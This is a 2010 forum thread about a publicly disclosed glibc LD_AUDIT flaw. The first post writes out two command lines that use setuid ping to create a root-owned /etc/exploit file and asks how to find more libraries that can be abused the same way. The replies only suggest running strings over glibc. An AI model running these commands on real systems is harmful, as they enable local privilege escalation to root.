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Finding DSOs that can create files

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Special Forums Cybersecurity Finding DSOs that can create files
# 1  
Old 10-25-2010
Finding DSOs that can create files
Hey,

As you might have noticed there is a new bug in glibc. It can be viewed here:
seclists[dot]org/fulldisclosure/2010/Oct/344

Basically, there are mentioned 2 DSO's that can create other files which is pretty unsecure.
Those are:
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/exploit" ping
LD_AUDIT="liblftp-tasks.so.0" LFTP_HOME=/etc/exploit ping

The file /etc/exploit will be created if you execute this. Anyhow, I'm wondering do you know more DSO's that can create files like that or how could I find more such files?

Thanks
Regards Image
# 2  
Old 10-25-2010
Run:
Code:
strings /lib/glibc.so | sort -u | pg

Last edited by DGPickett; 10-25-2010 at 05:44 PM..
# 3  
Old 10-28-2010
Nope, pg command not found on my CentOS
# 4  
Old 10-28-2010
Well, then:
Code:
 . . . | more

or
Code:
 . . . | less

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